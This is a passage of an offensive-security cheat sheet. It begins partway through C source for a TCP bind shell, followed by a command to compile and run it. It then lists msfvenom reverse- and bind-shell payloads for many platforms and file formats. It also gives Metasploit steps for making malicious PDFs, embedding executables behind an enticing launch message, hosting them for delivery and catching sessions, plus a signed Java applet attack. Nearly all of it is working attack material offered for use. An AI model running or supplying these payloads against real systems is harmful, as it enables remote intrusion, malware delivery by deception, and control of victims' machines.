    int srv_sockfd, new_sockfd;
    socklen_t new_addrlen;
    struct sockaddr_in srv_addr, new_addr;

    if(argc != 2)
    {
    printf("\nusage: ./tcpbind <listen port>\n");
    return -1;
    }

    if(fork() == 0)
    {
    if((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("[error] socket() failed!");
        return -1;
    }

    srv_addr.sin_family = PF_INET;
    srv_addr.sin_port = htons(atoi(argv[1]));
    srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
    {
        perror("[error] bind() failed!");
        return -1;
    }

    if(listen(srv_sockfd, 1) < 0)
    {
        perror("[error] listen() failed!");
        return -1;
    }

    for(;;)
    {
        new_addrlen = sizeof(new_addr);
        new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
        if(new_sockfd < 0)
        {
        perror("[error] accept() failed!");
        return -1;
        }

        if(fork() == 0)
        {
        close(srv_sockfd);
        write(new_sockfd, msg, strlen(msg));

        dup2(new_sockfd, 2);
        dup2(new_sockfd, 1);
        dup2(new_sockfd, 0);

        execl(SHELL, NULL, NULL);
        return 0;
        }
        else
        close(new_sockfd);
    }

    }
    return 0;
}
                                            
# Compile Above Code
gcc /tmp/bindshell.c --output csh &#38;&#38; csh
                                            
Command Reference

Msfvenom Payload Cheat Sheet

# Staged: Sent in two stages, the first one it loads a dropper, and the second stage loads the payload
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > rev.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=443 -f exe -o meterpreter.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > rev.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=443 -f exe -o meterpreter.exe

# Stageless: Standalone payloads is sent at once to the target using less communication
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > rev.exe
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > meterpreter.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > rev.exe
msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > meterpreter.exe

# Windows Bind Shell
msfvenom -p windows/meterpreter/bind_tcp lhost=127.0.0.1 lport=4444  -f exe  -o reverse.exe
                                            
# Staged: Sent in two stages, the first one it loads a dropper, and the second stage loads the payload
msfvenom -p linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf >rev.elf
msfvenom -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf

# Stageless: Standalone payloads is sent at once to the target using less communication
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf
msfvenom -p linux/x86/meterpreter/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf
msfvenom -p linux/x64/meterpreter/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > rev.elf
                                            
# ASP
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > shell.jsp

# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f war > shell.war

# PHP
msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=4444 -f raw > shell.php
msfvenom -p php/meterpreter/reverse_php LHOST=127.0.0.1 LPORT=4444 -f raw > shell.php

# HTTPS Shell
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=4444 -f exe > ~/Documents/payloads/443.exe
                                            
# Msfvenom example on how to exploit a PDF vulnerability in Adobe
sudo msfdbinit # Initializes Metasploit database if you have not run before
sudo msfconsole # Opens Metasploit

# Metasploit Commands
use exploit/windows/fileformat/adobe_utilprintf
show options
set FILENAME msf.pdf
set TARGET 0
exploit
(this simply creates a malicous pdf file. hosting it for delivery and setting up a payload handler still needs to be done to use)

# Terminal Commands
cp /root/.msf4/local/msf.pdf /var/www
(this copies the malicious pdf to the web server)

systemctl start apache2 || systemctl start httpd
(this starts the web server)

# Metasploit Start Listening Handler
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.15.25
show advanced
set ExitOnSession false
(allows for multiple sessions to be caught for use)
run -j
(this runs the handler as a job in the background to keep an open meterpreter session)

--------------------------------------
# Embed an Executable Inside Adobe PDF
# Metasploit Commands
use exploit/windows/fileformat/adobe_pdf_embedded_exe
show options
set EXENAME
# (prebulit executables can be selected here)
set INFILENAME /usr/share/set/readme/User_Manual.pdf
# (selects the PDF to insert executable into)
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.25
set LAUNCH_MESSAGE
# (sets the message the user will be shown to entice opening)
SET UP A HANDLER FOR THE PAYLOAD
cp /root/.msf4/local/msf.pdf /var/www
systemctl start apache2 || systemctl start httpd
use multi/handler
run                                    
    
# Python
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=4444 -f raw > shell.py

# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=127.0.0.1 LPORT=4444 -f raw > shell.sh

# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=127.0.0.1 LPORT=4444 -f raw > shell.pl

# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
                                            
# OpenBSD/MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f macho > shell.macho
                                            
msfvenom -p android/meterpreter/reverse_tcp  lhost=127.0.0.1 lport=4444 > ~/Documents/payloads/file.apk
                                            
# JAVA APPLET EXPLOIT
# Bypass the need for unpatched java vulnerability by asking the user to run it
sudo msfdbinit # Initializes Metasploit database if you have not run before
sudo msfconsole # Opens Metasploit

# Metasploit Commands
use exploit/multi/browser/java_signed_applet
show options
set APPLETNAME javaapplet
set SRVHOST 127.0.0.1
set SRVPORT 80
(if this is run java will show the signer is unknown unless the signer uses a trusted signing certificate. This option can be set using set SigningCert)
show targets
set target 0
set payload java/meterpreter/reverse_tcp
set LHOST 127.0.0.1
run